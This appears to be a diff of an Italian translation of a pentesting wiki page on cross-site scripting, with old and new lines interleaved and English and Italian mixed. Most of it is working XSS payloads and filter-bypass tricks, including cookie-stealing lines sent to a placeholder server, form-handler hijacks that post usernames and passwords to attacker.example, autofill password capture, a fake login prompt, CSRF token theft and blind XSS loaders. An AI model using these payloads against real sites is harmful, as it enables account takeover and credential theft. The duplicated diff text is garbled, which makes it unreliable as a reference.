> \#someid {top: 0; font-family: Tahoma;}
Ora puoi modificare il nostro link e portarlo alla forma
Ora puoi modificare il nostro link e portarlo nella forma
> \<a href="" id=someid class=test onclick=alert() a="">
Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
Questo trucco è tratto da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Iniezione all'interno del codice JavaScript
## Iniezione nel codice JavaScript
In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra tag `<script>...</script>` o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo `javascript:`.
In questi casi il tuo **input** verrà **riflesso nel codice JS** di un file `.js` o tra tag `<script>...</script>` o all'interno di eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
### Evasione del tag \<script>
### Escape del tag \<script>
Se il tuo codice è inserito dentro `<script> [...] var input = 'reflected data' [...] </script>` puoi facilmente chiudere il tag `<script>`:
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'reflected data' [...] </script>` puoi facilmente chiudere il tag `<script>`:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché **il parsing HTML viene eseguito prima dal browser**, che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing del JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo in seguito.
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché **l'HTML viene prima analizzato dal browser**, il quale identifica gli elementi della pagina, inclusi i blocchi di script. L'analisi del JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
### All'interno del codice JS
If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. È importante **fix JS syntax**, perché se ci sono errori, il codice JS non verrà eseguito:
Se `<>` vengono sanitizzati puoi comunque **applicare l'escape alla stringa** nel punto in cui il tuo input è **posizionato** ed **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori il codice JS non verrà eseguito:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -496,23 +497,25 @@ If `<>` are being sanitised you can still **escape the string** where your input
```
#### JS-in-JS string break → inject → repair pattern
Quando l'input dell'utente finisce all'interno di una quoted JavaScript string (es., server-side echo into an inline script), puoi terminare la stringa, inject code e riparare la sintassi per mantenere il parsing valido. Scheletro generico:
Quando l'input dell'utente finisce dentro una stringa JavaScript tra virgolette (es., server-side echo in uno script inline), puoi terminare la stringa, inject code e repair the syntax per mantenere il parsing valido. Scheletro generico:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
Esempio di pattern dell'URL quando il parametro vulnerabile viene riflesso in una stringa JS:
Esempio di URL pattern quando il parametro vulnerabile viene riflesso in una stringa JS:
```
?param=test";<INJECTION>;a="
```
Questo esegue JS dell'attaccante senza bisogno di toccare il contesto HTML (puro JS-in-JS). Combinalo con i bypass della blacklist qui sotto quando i filtri bloccano parole chiave.
### Template literals ``
Per costruire **stringhe**, oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché permette di **inserire espressioni JS** usando la sintassi `${ ... }`.\
Di conseguenza, se scopri che il tuo input viene **reflected** all'interno di una stringa JS che usa backticks, puoi abusare della sintassi `${ ... }` per eseguire **arbitrary JS code**:
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
Questo può essere **abusato** usando:
This can be **abused** using:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -533,12 +536,12 @@ loop``
```
#### Deliverable payloads con eval(atob()) e sfumature di scope
Per mantenere gli URL più corti e bypassare filtri di parole chiave banali, puoi codificare in base64 la tua logica reale e valutarla con `eval(atob('...'))`. Se un filtro di parole chiave semplice blocca identificatori come `alert`, `eval` o `atob`, usa identificatori Unicode-escaped che compilano in modo identico nel browser ma eludono filtri che fanno matching sulle stringhe:
Per mantenere gli URL più corti e bypassare filtri di keyword naïve, puoi codificare in base64 la tua logica reale e valutarla con `eval(atob('...'))`. Se un filtraggio di keyword semplice blocca identificatori come `alert`, `eval` o `atob`, usa identificatori Unicode-escaped che vengono compilati allo stesso modo nel browser ma eludono i filtri basati sul confronto di stringhe:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Nota importante sullo scoping: `const`/`let` dichiarati all'interno di `eval()` hanno ambito a blocco e NON creano globals; non saranno accessibili agli script successivi. Usa un elemento `<script>` iniettato dinamicamente per definire hook globali non-rebindable quando necessario (es., per hijack a form handler):
Importante dettaglio sull'ambito: `const`/`let` dichiarati all'interno di `eval()` hanno ambito di blocco e NON creano variabili globali; non saranno accessibili agli script successivi. Usa un elemento `<script>` iniettato dinamicamente per definire hook globali non riassegnabili quando necessario (es., per hijackare un form handler):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -546,13 +549,13 @@ document.head.appendChild(s);
```
Riferimento: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Esecuzione di JS codificato in Unicode
### Codifica Unicode per esecuzione JS
```javascript
alert(1)
alert(1)
alert(1)
```
### Tecniche di bypass delle blacklist in JavaScript
### Tecniche di bypass delle blacklists in JavaScript
**Stringhe**
```javascript
@ -598,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript new lines (da** [**JavaScript new line**](#javascript-new-lines) **trucco)**
**JavaScript nuove righe (dal trucco** [**JavaScript new line**](#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -775,22 +778,21 @@ top[8680439..toString(30)](1)
```
## **DOM vulnerabilities**
C'è del **JS code** che sta usando **dati non sicuri controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.\
**A causa dell'estensione della spiegazione di** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
C'è del **JS code** che usa **dati non sicuri controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.\
**A causa dell'estensione della spiegazione di** [**DOM vulnerabilities è stata spostata in questa pagina**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Lì troverai una dettagliata **spiegazione di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle**.\
Inoltre, non dimenticare che **alla fine del post citato** puoi trovare una spiegazione su [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
### Upgrading Self-XSS
### Potenziare Self-XSS
### Cookie XSS
Se puoi scatenare una XSS inviando il payload all'interno di un cookie, di solito si tratta di una self-XSS. Tuttavia, se trovi un **vulnerable subdomain to XSS**, puoi abusare di questa XSS per iniettare un cookie in tutto il dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomini (quelli vulnerabili alla cookie XSS). Per questo puoi usare il cookie tossing attack:
Se puoi scatenare una XSS inviando il payload dentro un cookie, solitamente si tratta di una Self-XSS. Tuttavia, se trovi un **vulnerable subdomain to XSS**, potresti abusare di questa XSS per iniettare un cookie nell'intero dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomains (quelli vulnerabili a cookie XSS). Per questo puoi usare il cookie tossing attack:
{{#ref}}
@ -801,27 +803,38 @@ Puoi trovare un ottimo abuso di questa tecnica in [**this blog post**](https://n
### Sending your session to the admin
Forse un utente può condividere il suo profilo con l'admin e se la self XSS è all'interno del profilo dell'utente e l'admin vi accede, farà scattare la vulnerabilità.
Potrebbe accadere che un utente condivida il suo profilo con l'admin e se la Self-XSS è presente nel profilo dell'utente e l'admin lo accede, egli innescherà la vulnerabilità.
### Session Mirroring
Se trovi una self XSS e la pagina web ha una **session mirroring for administrators**, per esempio permettendo ai clienti di chiedere aiuto e, affinché l'admin possa aiutarti, lui vedrà ciò che vedi nella tua sessione ma dalla sua sessione.
Se trovi una Self XSS e la web page ha un sistema di **session mirroring per administrators**, per esempio permettendo ai clienti di chiedere aiuto e affinché l'admin possa aiutarti vedrà ciò che stai vedendo nella tua session ma dalla sua session.
Potresti far sì che l'amministratore inneschi la tua self XSS e rubare i suoi cookie/session.
Potresti far sì che l'**administrator inneschi la tua Self XSS** e rubare i suoi cookie/session.
## Altri Bypass
### Bypassing sanitization via WASM linear-memory template overwrite
Quando una web app usa Emscripten/WASM, le stringhe costanti (come HTML format stubs) vivono in writable linear memory. Un singolo inWASM overflow (es., memcpy non controllata in un edit path) può corrompere strutture adiacenti e reindirizzare le scritture verso quelle constant. Sovrascrivere un template come "<article><p>%.*s</p></article>" in "<img src=1 onerror=%.*s>" trasforma l'input sanitizzato in un valore di JavaScript handler e produce DOM XSS immediato al render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
## Altri Bypasses
### Normalised Unicode
Puoi verificare se i **reflected values** vengono **unicode normalized** sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
Potresti verificare se i **reflected values** vengono **unicode normalized** sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
### Bypass del flag PHP FILTER_VALIDATE_EMAIL
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
A causa di **RoR mass assignment** vengono inserite virgolette nell'HTML e la restrizione sulle virgolette viene quindi aggirata, permettendo di aggiungere campi aggiuntivi (onfocus) all'interno del tag.\
Esempio di form ([from this report](https://hackerone.com/reports/709336)), se invii il payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -830,7 +843,7 @@ La coppia "Key","Value" verrà restituita così:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Quindi, l'attributo onfocus verrà inserito e si verificherà XSS.
Quindi verrà inserito l'attributo onfocus e si verificherà XSS.
### Combinazioni speciali
```html
@ -862,24 +875,24 @@ Quindi, l'attributo onfocus verrà inserito e si verificherà XSS.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS con header injection in una risposta 302
### XSS con header injection in una 302 response
Se scopri di poter **inject headers in a 302 Redirect response** puoi provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **banale** poiché i browser moderni non interpretano il body della risposta HTTP se lo status code della risposta HTTP è 302, quindi un semplice payload di cross-site scripting è inutile.
Se scopri di poter **inject headers in a 302 Redirect response** potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** perché i browser moderni non interpretano il body della risposta HTTP se lo status code della risposta HTTP è 302, quindi un semplice cross-site scripting payload è inutile.
In [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come testare diversi protocolli all'interno dell'header Location e verificare se qualcuno di essi permette al browser di ispezionare ed eseguire il payload XSS presente nel body.\
In [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come testare diversi protocolli all'interno del Location header e verificare se qualcuno di essi permette al browser di ispezionare ed eseguire l'XSS payload all'interno del body.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Only Letters, Numbers and Dots
### Solo Letters, Numbers and Dots
Se riesci a indicare il **callback** che javascript eseguirà limitato a quelle lettere/caratteri. [**Read this section of this post**](#javascript-function) per scoprire come abusare di questo comportamento.
Se riesci a indicare la **callback** che javascript eseguirà limitata a quei caratteri. [**Read this section of this post**](#javascript-function) per scoprire come abusare di questo comportamento.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se provi a caricare uno script con un **content-type** come `application/octet-stream`, Chrome restituirà il seguente errore:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se provi a caricare uno script con un **content-type** come `application/octet-stream`, Chrome genererà il seguente errore:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
I soli **Content-Type** che permetteranno a Chrome di eseguire uno **script caricato** sono quelli presenti nella const **`kSupportedJavascriptTypes`** da [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Gli unici **Content-Type** che permetteranno a Chrome di eseguire uno **loaded script** sono quelli presenti nella const **`kSupportedJavascriptTypes`** da [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -901,14 +914,14 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Tipi di script per XSS
### Tipi di Script per XSS
(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
```html
<script type="???"></script>
```
- **module** (default, niente da spiegare)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che permette di raggruppare vari dati (HTML, CSS, JS…) in un unico file **`.wbn`**.
- **module** (predefinito, niente da spiegare)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) in un file **`.wbn`**.
```html
<script type="webbundle">
{
@ -935,9 +948,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Questo comportamento è stato usato in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria su eval; abusarne può causare XSS.
Questo comportamento è stato usato in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria su eval e abusarne per scatenare XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità è principalmente per risolvere alcuni problemi causati dal pre-rendering. Funziona così:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
```html
<script type="speculationrules">
{
@ -953,16 +966,16 @@ Questo comportamento è stato usato in [**this writeup**](https://github.com/zwa
}
</script>
```
### Content-Types Web per XSS
### Web Content-Types per XSS
(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti Content-Types possono eseguire XSS in tutti i browser:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti Content-Types possono eseguire XSS in tutti i browser:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? non nella lista ma penso di averlo visto in un CTF)
- text/plain (?? non nella lista ma credo di aver visto questo in una CTF)
- application/rss+xml (off)
- application/atom+xml (off)
@ -970,7 +983,7 @@ In altri browser altri **`Content-Types`** possono essere usati per eseguire JS
### xml Content Type
Se la pagina restituisce un content-type text/xml, è possibile indicare un namespace ed eseguire JS arbitrario:
Se la pagina restituisce un content-type text/xml è possibile indicare un namespace ed eseguire JS arbitrario:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -978,11 +991,11 @@ Se la pagina restituisce un content-type text/xml, è possibile indicare un name
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Pattern di Sostituzione Speciali
### Pattern di sostituzione speciali
Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`** l'attaccante potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Quando viene usato qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`** l'attacker potrebbe usare [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di bypassare alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Per esempio, in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per effettuare l'escape di una JSON string all'interno di uno script ed eseguire codice arbitrario.
Per esempio in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per eseguire l'escape di una stringa JSON all'interno di uno script ed eseguire codice arbitrario.
### Chrome Cache to XSS
@ -1026,14 +1039,14 @@ constructor(source)()
```
Se **tutto è undefined** prima di eseguire codice non attendibile (come in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile:
- Using import()
- Usando import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Accesso indiretto a `require`
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono avvolti da Node.js all'interno di una funzione, come segue:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono avvolti da Node.js all'interno di una funzione, come segue:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1048,7 +1061,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
In modo simile all'esempio precedente, è possibile **usare error handlers** per accedere al **wrapper** del module e ottenere la funzione **`require`**:
In modo simile all'esempio precedente, è possibile **usare i gestori di errori** per accedere al **wrapper** del modulo e ottenere la funzione **`require`**:
```javascript
try {
null.f()
@ -1086,9 +1099,9 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
### Offuscamento & Bypass Avanzato
### Obfuscation & Advanced Bypass
- **Diverse offuscazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **Diverse obfuscations in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1267,7 +1280,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## Payload comuni per XSS
## XSS payloads comuni
### Diversi payloads in 1
@ -1276,16 +1289,16 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
steal-info-js.md
{{#endref}}
### Iframe Trap
### Trappola Iframe
Permette all'utente di navigare nella pagina senza uscire da un iframe e di intercettare le sue azioni (inclusi i dati inviati nei form):
Forza l'utente a navigare nella pagina senza uscire dall'iframe e cattura le sue azioni (inclusi i dati inviati nei form):
{{#ref}}
../iframe-traps.md
{{#endref}}
### Recuperare Cookies
### Recupero dei cookie
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1308,7 +1321,7 @@ Permette all'utente di navigare nella pagina senza uscire da un iframe e di inte
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> **Non potrai accedere ai cookies da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
> Non **potrai accedere ai cookies da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
### Rubare il contenuto della pagina
```javascript
@ -1399,15 +1412,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano assenza di risposta._
_Tempi brevi indicano una porta che risponde_ _Tempi più lunghi indicano nessuna risposta._
Consulta la lista delle porte bloccate in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Consulta la lista delle porte bandite in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) e in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Riquadro per richiedere credenziali
### Casella per richiedere credentials
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Cattura delle password tramite compilazione automatica
### Cattura delle password tramite Auto-fill
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1418,11 +1431,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati all'attacker's server; anche se il client seleziona una saved password e non scrive nulla, le credentials verranno ex-filtrated.
Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati al attackers server, anche se il client seleziona una saved password e non scrive nulla le credentials saranno ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
Se un handler critico (es., `function DoLogin(){...}`) viene dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (es., tramite un inline JS-in-JS sink), definisci prima un `const` con lo stesso nome per anticipare e bloccare il handler. Dichiarazioni di funzione successive non possono riassegnare un nome `const`, lasciando il tuo hook in controllo:
Se un handler critico (e.g., `function DoLogin(){...}`) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci un `const` con lo stesso nome prima per preempt e lockare l'handler. Dichiarazioni di funzione successive non possono rebindare un nome `const`, lasciando il tuo hook in controllo:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1430,21 +1443,21 @@ const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
```
Notes
- This relies on execution order: your injection must execute before the legitimate declaration.
- Se il tuo payload è racchiuso in `eval(...)`, i binding `const/let` non diventeranno globali. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
- Quando i filtri basati su keyword bloccano il codice, combina identificatori Unicode-escaped o la consegna tramite `eval(atob('...'))`, come mostrato sopra.
Note
- Questo dipende dall'ordine di esecuzione: la tua injection deve eseguire prima della dichiarazione legittima.
- Se il tuo payload è racchiuso in `eval(...)`, i binding `const/let` non diventeranno globali. Usa la tecnica di injection dinamica `<script>` dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per garantire un binding globale reale e non riassegnabile.
- Quando filtri per parole chiave bloccano il codice, combina con identificatori Unicode-escaped o la delivery `eval(atob('...'))`, come mostrato sopra.
### Keylogger
Cercando su github ne ho trovati diversi:
Just searching in github I found a few different ones:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Puoi anche usare metasploit `http_javascript_keylogger`
- You can also use metasploit `http_javascript_keylogger`
### Rubare token CSRF
### Stealing CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1467,14 +1480,14 @@ window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Abusing Service Workers
### Abuso dei Service Workers
{{#ref}}
abusing-service-workers.md
{{#endref}}
### Accessing Shadow DOM
### Accesso allo Shadow DOM
{{#ref}}
@ -1488,7 +1501,7 @@ shadow-dom.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Blind XSS payloads
### Payloads per Blind XSS
Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
```html
@ -1555,9 +1568,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Accesso ai contenuti nascosti
### Regex - Accedere a contenuti nascosti
Da [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli negli attributi JS di diversi oggetti. Ad esempio, un input di una REGEX può ancora essere trovato anche dopo che il valore dell'input della REGEX è stato rimosso:
Dalla [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) si può apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli in attributi JS di diversi oggetti. Per esempio, un input di una REGEX è ancora rintracciabile anche dopo che il valore dell'input della REGEX è stato rimosso:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1574,7 +1587,7 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Lista Brute-Force
### Brute-Force Lista
{{#ref}}
@ -1592,9 +1605,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
xss-in-markdown.md
{{#endref}}
### XSS a SSRF
### XSS to SSRF
Hai XSS su un sito che usa caching? Prova a trasformarlo in SSRF tramite Edge Side Include Injection con questo payload:
Hai XSS su un **site that uses caching**? Prova a **upgrading that to SSRF** tramite Edge Side Include Injection con questo payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1603,15 +1616,15 @@ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-inje
### XSS in PDF creato dinamicamente
Se una pagina web sta creando un PDF usando input controllato dall'utente, puoi provare a **ingannare il bot** che crea il PDF affinché **esegua codice JS arbitrario**.\
Quindi, se il **PDF creator bot finds** qualche tipo di **tag HTML**, li interpreterà, e puoi **abusare** di questo comportamento per causare una **Server XSS**.
Se una pagina web crea un PDF usando input controllato dall'utente, puoi provare a **trick the bot** che sta creando il PDF per farlo **executing arbitrary JS code**.\
Quindi, se il **PDF creator bot finds** qualche tipo di **HTML** **tags**, li **interpret** e puoi **abuse** questo comportamento per causare una **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare dati PDF**:
Se non puoi iniettare HTML tags, potrebbe valere la pena provare a **inject PDF data**:
{{#ref}}
@ -1620,9 +1633,9 @@ pdf-injection.md
### XSS in Amp4Email
AMP, progettato per accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, nato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites).
